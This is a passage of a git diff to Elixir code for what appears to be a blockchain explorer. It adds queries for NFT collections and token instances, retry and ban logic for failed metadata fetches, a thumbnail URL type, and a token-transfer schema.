ExplorerHelper.maybe_hide_scam_addresses(:token_contract_address_hash, options) + |> order_by([ctb], asc: ctb.token_contract_address_hash) + |> page_erc_721_nft_collections(paging_options) + |> limit(^paging_options.page_size) + |> Chain.join_associations(necessity_by_association) + |> Chain.select_repo(options).all() + |> Enum.map(&erc_721_preload_nft(&1, options)) + end + + defp page_erc_721_nft_collections(query, %PagingOptions{key: {contract_address_hash, "ERC-721"}}) do + page_nft_collections(query, contract_address_hash) + end + + defp page_erc_721_nft_collections(query, _), do: query + + @spec erc_1155_collections_by_address_hash(binary() | Hash.Address.t(), keyword) :: [ + %{ + token_contract_address_hash: Hash.Address.t(), + distinct_token_instances_count: integer(), + token_ids: [integer()] + } + ] + def erc_1155_collections_by_address_hash(address_hash, options) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + CurrentTokenBalance + |> where([ctb], ctb.address_hash == ^address_hash and ctb.value > 0 and ctb.token_type == "ERC-1155") + |> group_by([ctb], ctb.token_contract_address_hash) + |> order_by([ctb], asc: ctb.token_contract_address_hash) + |> select([ctb], %{ + token_contract_address_hash: ctb.token_contract_address_hash, + distinct_token_instances_count: fragment("COUNT(*)"), + token_ids: fragment("array_agg(?)", ctb.token_id) + }) + |> ExplorerHelper.maybe_hide_scam_addresses(:token_contract_address_hash, options) + |> page_erc_1155_nft_collections(paging_options) + |> limit(^paging_options.page_size) + |> Chain.select_repo(options).all() + |> Enum.map(&erc_1155_preload_nft(&1, address_hash, options)) + |> Helper.custom_preload( + options, + Token, + :token_contract_address_hash, + :contract_address_hash, + :token, + Reputation.reputation_association() + ) + end + + defp page_erc_1155_nft_collections(query, %PagingOptions{key: {contract_address_hash, "ERC-1155"}}) do + page_nft_collections(query, contract_address_hash) + end + + defp page_erc_1155_nft_collections(query, _), do: query + + @spec erc_404_collections_by_address_hash(binary() | Hash.Address.t(), keyword) :: [ + %{ + token_contract_address_hash: Hash.Address.t(), + distinct_token_instances_count: integer(), + token_ids: [integer()] + } + ] + def erc_404_collections_by_address_hash(address_hash, options) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + CurrentTokenBalance + |> where([ctb], ctb.address_hash == ^address_hash and not is_nil(ctb.token_id) and ctb.token_type == "ERC-404") + |> group_by([ctb], ctb.token_contract_address_hash) + |> order_by([ctb], asc: ctb.token_contract_address_hash) + |> select([ctb], %{ + token_contract_address_hash: ctb.token_contract_address_hash, + distinct_token_instances_count: fragment("COUNT(*)"), + token_ids: fragment("array_agg(?)", ctb.token_id) + }) + |> ExplorerHelper.maybe_hide_scam_addresses(:token_contract_address_hash, options) + |> page_erc_404_nft_collections(paging_options) + |> limit(^paging_options.page_size) + |> Chain.select_repo(options).all() + |> Enum.map(&erc_1155_preload_nft(&1, address_hash, options)) + |> Helper.custom_preload( + options, + Token, + :token_contract_address_hash, + :contract_address_hash, + :token, + Reputation.reputation_association() + ) + end + + defp page_erc_404_nft_collections(query, %PagingOptions{key: {contract_address_hash, "ERC-404"}}) do + page_nft_collections(query, contract_address_hash) + end + + defp page_erc_404_nft_collections(query, _), do: query + + defp page_nft_collections(query, token_contract_address_hash) do + query + |> where([ctb], ctb.token_contract_address_hash > ^token_contract_address_hash) + end + + defp erc_721_preload_nft( + %CurrentTokenBalance{token_contract_address_hash: token_contract_address_hash, address_hash: address_hash} = + ctb, + options + ) do + instances = + __MODULE__ + |> where( + [ti], + ti.token_contract_address_hash == ^token_contract_address_hash and ti.owner_address_hash == ^address_hash + ) + |> order_by([ti], desc: ti.token_id) + |> limit(^@preloaded_nfts_limit) + |> Chain.select_repo(options).all() + + %CurrentTokenBalance{ctb | preloaded_token_instances: instances} + end + + defp erc_1155_preload_nft( + %{token_contract_address_hash: token_contract_address_hash, token_ids: token_ids} = collection, + address_hash, + options + ) do + token_ids = token_ids |> Enum.sort(:desc) |> Enum.take(@preloaded_nfts_limit) + + instances = + __MODULE__ + |> where([ti], ti.token_contract_address_hash == ^token_contract_address_hash and ti.token_id in ^token_ids) + |> join(:inner, [ti], ctb in CurrentTokenBalance, + as: :ctb, + on: + ctb.token_contract_address_hash == ti.token_contract_address_hash and ti.token_id == ctb.token_id and + ctb.address_hash == ^address_hash + ) + |> limit(^@preloaded_nfts_limit) + |> select_merge([ctb: ctb], %{current_token_balance: ctb}) + |> Chain.select_repo(options).all() + |> Enum.sort_by(& &1.token_id, :desc) + + Map.put(collection, :preloaded_token_instances, instances) + end + + @doc """ + Function to be used in BlockScoutWeb.Chain.next_page_params/4 + """ + @spec nft_collections_next_page_params(%{:token_contract_address_hash => any, optional(any) => any}) :: %{ + atom() => any + } + def nft_collections_next_page_params(%{ + token_contract_address_hash: token_contract_address_hash, + token: %Token{type: token_type} + }) do + %{token_contract_address_hash: token_contract_address_hash, token_type: token_type} + end + + def nft_collections_next_page_params(%{ + token_contract_address_hash: token_contract_address_hash, + token_type: token_type + }) do + %{token_contract_address_hash: token_contract_address_hash, token_type: token_type} + end + + @spec token_instances_by_holder_address_hash(Token.t(), binary() | Hash.Address.t(), keyword) :: [__MODULE__.t()] + def token_instances_by_holder_address_hash(token, holder_address_hash, options \\ []) + + def token_instances_by_holder_address_hash(%Token{type: "ERC-721"} = token, holder_address_hash, options) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}, asc_order: false} -> + [] + + _ -> + token.contract_address_hash + |> address_to_unique_token_instances_query() + |> where([ti], ti.owner_address_hash == ^holder_address_hash) + |> limit(^paging_options.page_size) + |> page_token_instance(paging_options) + |> Chain.select_repo(options).all() + |> Enum.map(&put_is_unique(&1, token, options)) + end + end + + def token_instances_by_holder_address_hash(%Token{} = token, holder_address_hash, options) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}, asc_order: false} -> + [] + + _ -> + __MODULE__ + |> where([ti], ti.token_contract_address_hash == ^token.contract_address_hash) + |> join(:inner, [ti], ctb in CurrentTokenBalance, + as: :ctb, + on: + ctb.token_contract_address_hash == ti.token_contract_address_hash and ctb.token_id == ti.token_id and + ctb.address_hash == ^holder_address_hash + ) + |> where([ctb: ctb], ctb.value > 0) + |> order_by([ti], desc: ti.token_id) + |> limit(^paging_options.page_size) + |> page_token_instance(paging_options) + |> select_merge([ctb: ctb], %{current_token_balance: ctb}) + |> Chain.select_repo(options).all() + |> Enum.map(&put_is_unique(&1, token, options)) + end + end + + @doc """ + Finds token instances (pairs of contract_address_hash and token_id) which was met in token transfers but has no corresponding entry in token_instances table + """ + @spec not_inserted_token_instances_query(integer()) :: Ecto.Query.t() + def not_inserted_token_instances_query(limit) do + token_transfers_query = + TokenTransfer + |> where([token_transfer], not is_nil(token_transfer.token_ids) and token_transfer.token_ids != ^[]) + |> select([token_transfer], %{ + token_contract_address_hash: token_transfer.token_contract_address_hash, + token_id: fragment("unnest(?)", token_transfer.token_ids) + }) + + token_transfers_query + |> subquery() + |> join(:left, [token_transfer], token_instance in __MODULE__, + on: + token_instance.token_contract_address_hash == token_transfer.token_contract_address_hash and + token_instance.token_id == token_transfer.token_id + ) + |> where([token_transfer, token_instance], is_nil(token_instance.token_id)) + |> select([token_transfer, token_instance], %{ + contract_address_hash: token_transfer.token_contract_address_hash, + token_id: token_transfer.token_id + }) + |> limit(^limit) + end + + @doc """ + Finds token instances of a particular token (pairs of contract_address_hash and token_id) which was met in token_transfers table but has no corresponding entry in token_instances table. + """ + @spec not_inserted_token_instances_query_by_token(integer(), Hash.Address.t()) :: Ecto.Query.t() + def not_inserted_token_instances_query_by_token(limit, token_contract_address_hash) do + token_transfers_query = + TokenTransfer + |> where([token_transfer], token_transfer.token_contract_address_hash == ^token_contract_address_hash) + |> select([token_transfer], %{ + token_contract_address_hash: token_transfer.token_contract_address_hash, + token_id: fragment("unnest(?)", token_transfer.token_ids) + }) + + token_transfers_query + |> subquery() + |> join(:left, [token_transfer], token_instance in __MODULE__, + on: + token_instance.token_contract_address_hash == token_transfer.token_contract_address_hash and + token_instance.token_id == token_transfer.token_id + ) + |> where([token_transfer, token_instance], is_nil(token_instance.token_id)) + |> select([token_transfer, token_instance], %{ + token_contract_address_hash: token_transfer.token_contract_address_hash, + token_id: token_transfer.token_id + }) + |> limit(^limit) + end + + @doc """ + Finds ERC-1155 token instances (pairs of contract_address_hash and token_id) which was met in current_token_balances table but has no corresponding entry in token_instances table. + """ + @spec not_inserted_erc_1155_token_instances(integer()) :: Ecto.Query.t() + def not_inserted_erc_1155_token_instances(limit) do + CurrentTokenBalance + |> join(:left, [actb], ti in __MODULE__, + on: actb.token_contract_address_hash == ti.token_contract_address_hash and actb.token_id == ti.token_id + ) + |> where([actb, ti], not is_nil(actb.token_id) and is_nil(ti.token_id)) + |> select([actb], %{ + token_contract_address_hash: actb.token_contract_address_hash, + token_id: actb.token_id + }) + |> limit(^limit) + end + + @doc """ + Puts is_unique field in token instance. Returns updated token instance + is_unique is true for ERC-721 always and for ERC-1155 only if token_id is unique + """ + @spec put_is_unique(__MODULE__.t(), Token.t(), Keyword.t()) :: __MODULE__.t() + def put_is_unique(instance, token, options) do + %__MODULE__{instance | is_unique: unique?(instance, token, options)} + end + + defp unique?( + %__MODULE__{current_token_balance: %CurrentTokenBalance{value: %Decimal{} = value}} = instance, + token, + options + ) do + if Decimal.compare(value, 1) == :gt do + false + else + unique?(%__MODULE__{instance | current_token_balance: nil}, token, options) + end + end + + defp unique?(%__MODULE__{current_token_balance: %CurrentTokenBalance{value: value}}, _token, _options) + when value > 1, + do: false + + defp unique?(instance, token, options), + do: + not (token.type == "ERC-1155") or + Chain.token_id_1155_is_unique?(token.contract_address_hash, instance.token_id, options) + + @doc """ + Sets metadata for the given Explorer.Chain.Token.Instance + """ + @spec set_metadata(t(), map()) :: {non_neg_integer(), nil} + def set_metadata(token_instance, %{metadata: metadata, skip_metadata_url: skip_metadata_url} = result) + when is_map(metadata) do + now = DateTime.utc_now() + + Repo.update_all( + from(instance in __MODULE__, + where: instance.token_contract_address_hash == ^token_instance.token_contract_address_hash, + where: instance.token_id == ^token_instance.token_id + ), + [ + set: [ + metadata: metadata, + error: nil, + updated_at: now, + thumbnails: nil, + media_type: nil, + cdn_upload_error: nil, + skip_metadata_url: skip_metadata_url, + metadata_url: result[:metadata_url] + ] + ], + timeout: @timeout + ) + end + + @max_retries_count_value 32767 + @error_to_ban_interval %{ + 9 => [ + "VM execution error", + "request error: 404", + "no uri", + "(-32000)", + "invalid ", + "{:max_redirect_overflow, ", + "{:invalid_redirection, ", + "nxdomain", + ":nxdomain", + "econnrefused", + ":econnrefused", + "blacklist" + ], + # 32767 is the maximum value for retries_count (smallint) + @max_retries_count_value => ["request error: 429"] + } + + @doc """ + Determines the maximum number of retries allowed before banning based on the given error. + + ## Parameters + - error: The error encountered that may trigger retries. + + ## Returns + - An integer representing the maximum number of retries allowed before a ban is enforced. + """ + @spec error_to_max_retries_count_before_ban(String.t() | nil) :: non_neg_integer() + def error_to_max_retries_count_before_ban(nil) do + @max_retries_count_value + end + + def error_to_max_retries_count_before_ban(error) do + Enum.find_value(@error_to_ban_interval, fn {interval, errors} -> + Enum.any?(errors, fn error_pattern -> + String.starts_with?(error, error_pattern) + end) && interval + end) || 13 + end + + @doc """ + Retrieves the media URL from the given NFT metadata. + + ## Parameters + + - metadata: A map containing the metadata of the NFT. + + ## Returns + + - The media URL as a string if found in the metadata, otherwise `nil`. + + ## Examples + + iex> metadata = %{"image" => "https://example.com/image.png"} + iex> get_media_url_from_metadata_for_nft_media_handler(metadata) + "https://example.com/image.png" + + iex> metadata = %{"animation_url" => "https://example.com/animation.mp4"} + iex> get_media_url_from_metadata_for_nft_media_handler(metadata) + "https://example.com/animation.mp4" + + iex> metadata = %{} + iex> get_media_url_from_metadata_for_nft_media_handler(metadata) + nil + """ + @spec get_media_url_from_metadata_for_nft_media_handler(nil | map()) :: nil | binary() + def get_media_url_from_metadata_for_nft_media_handler(metadata) when is_map(metadata) do + result = + cond do + is_binary(metadata["image_url"]) -> + metadata["image_url"] + + is_binary(metadata["image"]) -> + metadata["image"] + + is_map(metadata["properties"]) && is_binary(metadata["properties"]["image"]) -> + metadata["properties"]["image"] + + is_binary(metadata["animation_url"]) -> + metadata["animation_url"] + + true -> + nil + end + + if result && String.trim(result) == "", do: nil, else: result + end + + def get_media_url_from_metadata_for_nft_media_handler(nil), do: nil + + @spec batch_upsert_cdn_results([map()]) :: [t()] + def batch_upsert_cdn_results([]), do: [] + + def batch_upsert_cdn_results(instances) do + {_, result} = + Repo.insert_all(__MODULE__, instances, + on_conflict: {:replace, [:thumbnails, :media_type, :updated_at, :cdn_upload_error]}, + conflict_target: [:token_id, :token_contract_address_hash], + returning: true + ) + + result + end + + @doc """ + Streams instances that need to be resized and uploaded. + + ## Parameters + + - each_fun: A function to be applied to each instance. + """ + @spec stream_instances_to_resize_and_upload((t() -> any())) :: any() + def stream_instances_to_resize_and_upload(each_fun) do + __MODULE__ + |> where([ti], not is_nil(ti.metadata) and is_nil(ti.thumbnails) and is_nil(ti.cdn_upload_error)) + |> Repo.stream_each(each_fun) + end + + @doc """ + Converts a media type tuple to a string. + + ## Parameters + - media_type: A tuple containing two binaries representing the media type. + + ## Returns + - A non-empty binary string representation of the media type. + + ## Examples + iex> media_type_to_string({"image", "png"}) + "image/png" + """ + @spec media_type_to_string({binary(), binary()}) :: nonempty_binary() + def media_type_to_string({type, subtype}) do + "#{type}/#{subtype}" + end + + @doc """ + Preloads NFTs for a list of `TokenTransfer` structs. + + ## Parameters + + - `token_transfers`: A list of `TokenTransfer` structs. + - `opts`: A keyword list of options. + + ## Returns + + A list of `TokenTransfer` structs with preloaded NFTs. + """ + @spec preload_nft([TokenTransfer.t()] | Transaction.t(), keyword()) :: [TokenTransfer.t()] | Transaction.t() + def preload_nft(token_transfers, options) when is_list(token_transfers) do + token_instances_id = + token_transfers + |> Enum.reduce(MapSet.new(), fn + %TokenTransfer{token_type: nft_token_type} = token_transfer, ids + when nft_token_type in ["ERC-721", "ERC-1155", "ERC-404"] -> + MapSet.put(ids, {List.first(token_transfer.token_ids), token_transfer.token_contract_address_hash.bytes}) + + _token_transfer, ids -> + ids + end) + |> MapSet.to_list() + + token_instances = + __MODULE__ + |> where( + [nft], + ^QueryHelper.tuple_in([:token_id, :token_contract_address_hash], token_instances_id) + ) + |> Chain.select_repo(options).all() + |> Enum.reduce(%{}, fn nft, map -> + Map.put(map, {nft.token_id, nft.token_contract_address_hash}, nft) + end) + + Enum.map(token_transfers, fn + %TokenTransfer{token_type: nft_token_type} = token_transfer + when nft_token_type in ["ERC-721", "ERC-1155", "ERC-404"] -> + %TokenTransfer{ + token_transfer + | token_instance: + token_instances[{List.first(token_transfer.token_ids), token_transfer.token_contract_address_hash}] + } + + token_transfer -> + token_transfer + end) + end + + def preload_nft(%Transaction{token_transfers: token_transfers} = transaction, options) + when is_list(token_transfers) do + %Transaction{transaction | token_transfers: preload_nft(token_transfers, options)} + end + + def preload_nft(other, _options), do: other + + @doc """ + Prepares params list for batch upsert + (filters out params for instances that shouldn't be updated + and adjusts `refetch_after` and `is_banned` fields based on existing instances). + """ + @spec adjust_insert_params([map()]) :: [map()] + def adjust_insert_params(params_list) do + now = Timex.now() + + adjusted_params_list = + Enum.map(params_list, fn params -> + {:ok, token_contract_address_hash} = Hash.Address.cast(params.token_contract_address_hash) + + Map.merge(params, %{ + token_id: Decimal.new(params.token_id), + token_contract_address_hash: token_contract_address_hash, + inserted_at: now, + updated_at: now + }) + end) + + token_instance_ids = + Enum.map(adjusted_params_list, fn params -> + {params.token_id, params.token_contract_address_hash.bytes} + end) + + existing_token_instances_query = + from(token_instance in __MODULE__, + where: ^QueryHelper.tuple_in([:token_id, :token_contract_address_hash], token_instance_ids) + ) + + existing_token_instances_map = + existing_token_instances_query + |> Repo.all() + |> Map.new(&{{&1.token_id, &1.token_contract_address_hash}, &1}) + + Enum.reduce(adjusted_params_list, [], fn params, acc -> + existing_token_instance = + existing_token_instances_map[{params.token_id, params.token_contract_address_hash}] + + cond do + is_nil(existing_token_instance) -> + [params | acc] + + is_nil(existing_token_instance.metadata) -> + {refetch_after, is_banned} = determine_refetch_after_and_is_banned(params, existing_token_instance) + full_params = Map.merge(params, %{refetch_after: refetch_after, is_banned: is_banned}) + [full_params | acc] + + true -> + acc + end + end) + end + + defp determine_refetch_after_and_is_banned(params, existing_token_instance) do + config = Application.get_env(:indexer, Indexer.Fetcher.TokenInstance.Retry) + + coef = config[:exp_timeout_coeff] + base = config[:exp_timeout_base] + max_refetch_interval = config[:max_refetch_interval] + max_retry_count = :math.log(max_refetch_interval / 1000 / coef) / :math.log(base) + new_retries_count = existing_token_instance.retries_count + 1 + max_retries_count_before_ban = error_to_max_retries_count_before_ban(params[:error]) + + cond do + new_retries_count > max_retries_count_before_ban -> + {nil, true} + + is_nil(params[:metadata]) -> + value = floor(coef * :math.pow(base, min(new_retries_count, max_retry_count))) + + {Timex.shift(Timex.now(), seconds: value), false} + + true -> + {nil, false} + end + end + + @doc """ + Marks an NFT collection to be refetched by setting its metadata to `nil` and error status to `@marked_to_refetch`. + + ## Parameters + - `token_contract_address_hash` (Hash.Address.t()): The hash of the token contract address. + + ## Returns + - `{non_neg_integer(), nil}`: A tuple containing the number of updated rows and `nil`. + """ + @spec mark_nft_collection_to_refetch(Hash.Address.t()) :: {non_neg_integer(), nil} + def mark_nft_collection_to_refetch(token_contract_address_hash) do + now = DateTime.utc_now() + + Repo.update_all( + from(instance in __MODULE__, + where: instance.token_contract_address_hash == ^token_contract_address_hash + ), + [ + set: [ + metadata: nil, + error: @marked_to_refetch, + thumbnails: nil, + media_type: nil, + cdn_upload_error: nil, + is_banned: false, + retries_count: 0, + refetch_after: nil, + updated_at: now + ] + ], + timeout: @timeout + ) + end + + @doc """ + Finds all token instances where metadata never tried to fetch + """ + @spec stream_token_instances_with_unfetched_metadata( + initial :: accumulator, + reducer :: (entry :: map(), accumulator -> accumulator) + ) :: {:ok, accumulator} + when accumulator: term() + def stream_token_instances_with_unfetched_metadata(initial, reducer) when is_function(reducer, 2) do + __MODULE__ + |> where([instance], is_nil(instance.error) and is_nil(instance.metadata)) + |> select([instance], %{ + contract_address_hash: instance.token_contract_address_hash, + token_id: instance.token_id + }) + |> Repo.stream_reduce(initial, reducer) + end + + @doc """ + Finds all token instances where metadata never tried to fetch + """ + @spec stream_token_instances_marked_to_refetch( + initial :: accumulator, + reducer :: (entry :: map(), accumulator -> accumulator) + ) :: {:ok, accumulator} + when accumulator: term() + def stream_token_instances_marked_to_refetch(initial, reducer) when is_function(reducer, 2) do + __MODULE__ + |> where([instance], instance.error == ^@marked_to_refetch and is_nil(instance.metadata)) + |> select([instance], %{ + contract_address_hash: instance.token_contract_address_hash, + token_id: instance.token_id + }) + |> Repo.stream_reduce(initial, reducer) + end + + @doc """ + Checks if a token instance with the given `token_id` and `token_contract_address` has unfetched metadata. + + ## Parameters + + - `token_id`: The ID of the token instance. + - `token_contract_address`: The contract address of the token instance. + - `options`: Optional parameters for the query. + + ## Returns + + - `true` if a token instance with the given `token_id` and `token_contract_address` exists and has unfetched metadata. + - `false` otherwise. + """ + @spec token_instance_with_unfetched_metadata?(non_neg_integer, Hash.Address.t(), [api?]) :: boolean + def token_instance_with_unfetched_metadata?(token_id, token_contract_address, options \\ []) do + __MODULE__ + |> where([instance], is_nil(instance.error) and is_nil(instance.metadata)) + |> where( + [instance], + instance.token_id == ^token_id and instance.token_contract_address_hash == ^token_contract_address + ) + |> Chain.select_repo(options).exists?() + end + + @doc """ + Streams token instances with errors, applying a reducer function to each instance. + + ## Parameters + + - `initial`: The initial value passed to the reducer function. + - `reducer`: A function that takes two arguments and returns a new accumulator value. + - `limited?` (optional): A boolean indicating whether to limit the number of fetched instances. Defaults to `false`. + + ## Details + + The function filters token instances based on the following criteria: + - The instance is not banned (`is_nil(instance.is_banned) or not instance.is_banned`). + - The instance has an error (`not is_nil(instance.error)`). + - The error type is not `:marked_to_refetch`. + - The `refetch_after` field is either `nil` or in the past. + + The instances are ordered by: + - `refetch_after` in ascending order. + - Errors in `high_priority` in descending order. + - Errors in `negative_priority` in ascending order. + + The function then applies the `reducer` function to each instance, starting with the `initial` value. + + ## Returns + + A stream of token instances with errors, reduced by the `reducer` function. + """ + @spec stream_token_instances_with_error( + initial :: accumulator, + reducer :: (entry :: map(), accumulator -> accumulator), + limited? :: boolean() + ) :: {:ok, accumulator} + when accumulator: term() + def stream_token_instances_with_error(initial, reducer, limited? \\ false) when is_function(reducer, 2) do + # likely to get valid metadata + high_priority = ["request error: 429", ":checkout_timeout"] + # almost impossible to get valid metadata + negative_priority = ["VM execution error", "no uri", "invalid json"] + + __MODULE__ + |> where([instance], is_nil(instance.is_banned) or not instance.is_banned) + |> where([instance], not is_nil(instance.error)) + |> where([instance], is_nil(instance.refetch_after) or instance.refetch_after < ^DateTime.utc_now()) + |> select([instance], %{ + contract_address_hash: instance.token_contract_address_hash, + token_id: instance.token_id + }) + |> order_by([instance], + asc: instance.refetch_after, + desc: instance.error in ^high_priority, + asc: instance.error in ^negative_priority + ) + |> Chain.add_fetcher_limit(limited?) + |> Repo.stream_reduce(initial, reducer) + end + + @doc """ + Fetches unique token instances associated with a given contract address. + + ## Parameters + + - `contract_address_hash`: The hash of the contract address to query. + - `token`: The token to associate with the instances. + - `options`: Optional keyword list of options. + + ## Options + + - `:paging_options`: A keyword list of paging options. Defaults to `@default_paging_options`. + + ## Returns + + - A list of unique token instances with their owners preloaded. + + ## Examples + + iex> address_to_unique_tokens("0x1234...", %Token{}, paging_options: [page_size: 10]) + [%TokenInstance{}, ...] + + """ + @spec address_to_unique_tokens(Hash.Address.t(), Token.t(), [paging_options | api?]) :: [__MODULE__.t()] + def address_to_unique_tokens(contract_address_hash, token, options \\ []) do + paging_options = Keyword.get(options, :paging_options, @default_paging_options) + + contract_address_hash + |> __MODULE__.address_to_unique_token_instances_query() + |> __MODULE__.page_token_instance(paging_options) + |> limit(^paging_options.page_size) + |> preload([_], owner: [:names, :smart_contract, ^Implementation.proxy_implementations_association()]) + |> Chain.select_repo(options).all() + |> Enum.map(&put_owner_to_token_instance(&1, token, options)) + end + + @doc """ + Fetches an NFT instance based on the given token ID and token contract address. + + ## Parameters + + - `token_id`: The ID of the token. + - `token_contract_address`: The address of the token contract. + - `options`: Optional parameters for the query. + + ## Returns + + - `{:ok, token_instance}` if the token instance is found. + - `{:error, :not_found}` if the token instance is not found. + """ + @spec nft_instance_by_token_id_and_token_address( + Decimal.t() | non_neg_integer(), + Hash.Address.t(), + [api?] + ) :: + {:ok, __MODULE__.t()} | {:error, :not_found} + def nft_instance_by_token_id_and_token_address(token_id, token_contract_address, options \\ []) do + query = __MODULE__.token_instance_query(token_id, token_contract_address) + + case Chain.select_repo(options).one(query) do + nil -> {:error, :not_found} + token_instance -> {:ok, token_instance} + end + end + + @doc """ + Put owner address to unique token instance. If not unique, return original instance. + """ + @spec put_owner_to_token_instance(__MODULE__.t(), Token.t(), [api?]) :: __MODULE__.t() + def put_owner_to_token_instance(token_instance, token, options \\ []) + + def put_owner_to_token_instance(%__MODULE__{is_unique: nil} = token_instance, token, options) do + put_owner_to_token_instance(__MODULE__.put_is_unique(token_instance, token, options), token, options) + end + + def put_owner_to_token_instance( + %__MODULE__{owner: nil, is_unique: true} = token_instance, + %Token{type: type}, + options + ) + when type in ["ERC-1155", "ERC-404"] do + owner_address_hash = + token_instance + |> __MODULE__.owner_query() + |> Chain.select_repo(options).one() + + owner = + Address.get( + owner_address_hash, + options + |> Keyword.merge( + necessity_by_association: %{ + :names => :optional, + :smart_contract => :optional, + Implementation.proxy_implementations_association() => :optional + } + ) + ) + + %{token_instance | owner: owner, owner_address_hash: owner_address_hash} + end + + def put_owner_to_token_instance(%__MODULE__{} = token_instance, _token, _options), do: token_instance + + @doc """ + Expects a list of maps with change params. Inserts using on_conflict: `token_instance_metadata_on_conflict/0` + !!! Supposed to be used ONLY for import of `metadata` or `error`. + """ + @spec batch_upsert_token_instances([map()]) :: [__MODULE__.t()] + def batch_upsert_token_instances(params_list) do + params_to_insert = adjust_insert_params(params_list) + + {_, result} = + Repo.insert_all(__MODULE__, params_to_insert, + on_conflict: token_instance_metadata_on_conflict(), + conflict_target: [:token_id, :token_contract_address_hash], + returning: true + ) + + result + end + + defp token_instance_metadata_on_conflict do + from( + token_instance in __MODULE__, + update: [ + set: [ + metadata: fragment("EXCLUDED.metadata"), + error: fragment("EXCLUDED.error"), + owner_updated_at_block: token_instance.owner_updated_at_block, + owner_updated_at_log_index: token_instance.owner_updated_at_log_index, + owner_address_hash: token_instance.owner_address_hash, + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", token_instance.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", token_instance.updated_at), + retries_count: token_instance.retries_count + 1, + refetch_after: fragment("EXCLUDED.refetch_after"), + is_banned: fragment("EXCLUDED.is_banned"), + metadata_url: fragment("EXCLUDED.metadata_url"), + skip_metadata_url: fragment("EXCLUDED.skip_metadata_url") + ] + ], + where: is_nil(token_instance.metadata) + ) + end end diff --git a/apps/explorer/lib/explorer/chain/token/instance/media_urls.ex b/apps/explorer/lib/explorer/chain/token/instance/media_urls.ex new file mode 100644 index 000000000000..26f1bc2e972f --- /dev/null +++ b/apps/explorer/lib/explorer/chain/token/instance/media_urls.ex @@ -0,0 +1,51 @@ +defmodule Explorer.Chain.Token.Instance.Thumbnails do + @moduledoc """ + Module defines thumbnails type for token instances + """ + use Ecto.Type + + @type t :: {String.t(), [integer()], boolean()} + + def type, do: :map + + def cast([file_path, sizes, original_uploaded?]) + when is_binary(file_path) and is_list(sizes) and is_boolean(original_uploaded?) do + if Enum.all?(sizes, &is_integer/1) do + {:ok, [file_path, sizes, original_uploaded?]} + else + :error + end + end + + def cast(_), do: :error + + def load([file_path, sizes, original_uploaded?]) do + uri = + Application.get_env(:ex_aws, :s3)[:public_r2_url] |> URI.parse() |> URI.append_path(file_path) |> URI.to_string() + + thumbnails = + sizes + |> Enum.map(fn size -> + key = "#{size}x#{size}" + {key, String.replace(uri, "{}", key)} + end) + |> Enum.into(%{}) + + {:ok, + if original_uploaded? do + key = "original" + Map.put(thumbnails, key, String.replace(uri, "{}", key)) + else + thumbnails + end} + end + + def load(_), do: :error + + def dump([file_path, sizes, original_uploaded?]) + when is_binary(file_path) and is_list(sizes) and is_boolean(original_uploaded?) do + {:ok, [file_path, sizes, original_uploaded?]} + end + + def dump(_), do: :error +end diff --git a/apps/explorer/lib/explorer/chain/token_transfer.ex b/apps/explorer/lib/explorer/chain/token_transfer.ex index 4c23267682ec..6e7694a7c57f 100644 --- a/apps/explorer/lib/explorer/chain/token_transfer.ex +++ b/apps/explorer/lib/explorer/chain/token_transfer.ex @@ -1,3 +1,114 @@ +defmodule Explorer.Chain.TokenTransfer.Schema do + @moduledoc """ + Models token transfers. + + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.TokenTransfers + """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias Explorer.Chain.{ + Address, + Block, + Hash, + Transaction + } + + alias Explorer.Chain.Token.Instance + + # Remove `transaction_hash` from primary key for `:celo` chain type. See + # `Explorer.Chain.Log.Schema` for more details. + @transaction_field (case @chain_type do + :celo -> + quote do + [ + belongs_to(:transaction, Transaction, + foreign_key: :transaction_hash, + references: :hash, + type: Hash.Full + ) + ] + end + + _ -> + quote do + [ + belongs_to(:transaction, Transaction, + foreign_key: :transaction_hash, + primary_key: true, + references: :hash, + type: Hash.Full, + null: false + ) + ] + end + end) + + defmacro generate do + quote do + @primary_key false + typed_schema "token_transfers" do + field(:amount, :decimal) + field(:block_number, :integer) :: Block.block_number() + field(:log_index, :integer, primary_key: true, null: false) + field(:amounts, {:array, :decimal}) + field(:token_ids, {:array, :decimal}) + field(:token_id, :decimal, virtual: true) + field(:index_in_batch, :integer, virtual: true) + field(:reverse_index_in_batch, :integer, virtual: true) + field(:token_decimals, :decimal, virtual: true) + field(:token_type, :string) + field(:block_consensus, :boolean) + field(:token_instance, :any, virtual: true) :: Instance.t() | nil + + belongs_to(:from_address, Address, + foreign_key: :from_address_hash, + references: :hash, + type: Hash.Address, + null: false + ) + + belongs_to(:to_address, Address, + foreign_key: :to_address_hash, + references: :hash, + type: Hash.Address, + null: false + ) + + belongs_to( + :token_contract_address, + Address, + foreign_key: :token_contract_address_hash, + references: :hash, + type: Hash.Address, + null: false + ) + + belongs_to(:block, Block, + foreign_key: :block_hash, + primary_key: true, + references: :hash, + type: Hash.Full, + null: false + ) + + has_many( + :instances, + Instance, + foreign_key: :token_contract_address_hash, + references: :token_contract_address_hash + ) + + has_one(:token, through: [:token_contract_address, :token]) + + timestamps() + + unquote_splicing(@transaction_field) + end + end + end +end + defmodule Explorer.Chain.TokenTransfer do @moduledoc """ Represents a token transfer between addresses for a given token. @@ -23,16 +134,35 @@ defmodule Explorer.Chain.TokenTransfer do """ use Explorer.Schema + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + use Utils.RuntimeEnvHelper, chain_type: [:explorer, :chain_type] + + require Explorer.Chain.TokenTransfer.Schema import Ecto.Changeset - import Ecto.Query, only: [from: 2, limit: 2, where: 3] + import Explorer.Chain.Address.Reputation, only: [reputation_association: 0] - alias Explorer.Chain.{Address, Block, Hash, TokenTransfer, Transaction} - alias Explorer.Chain.Token.Instance - alias Explorer.{PagingOptions, Repo} + alias Explorer.Chain + alias Explorer.Chain.{DenormalizationHelper, Hash, Log, TokenTransfer} + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + alias Explorer.Helper, as: 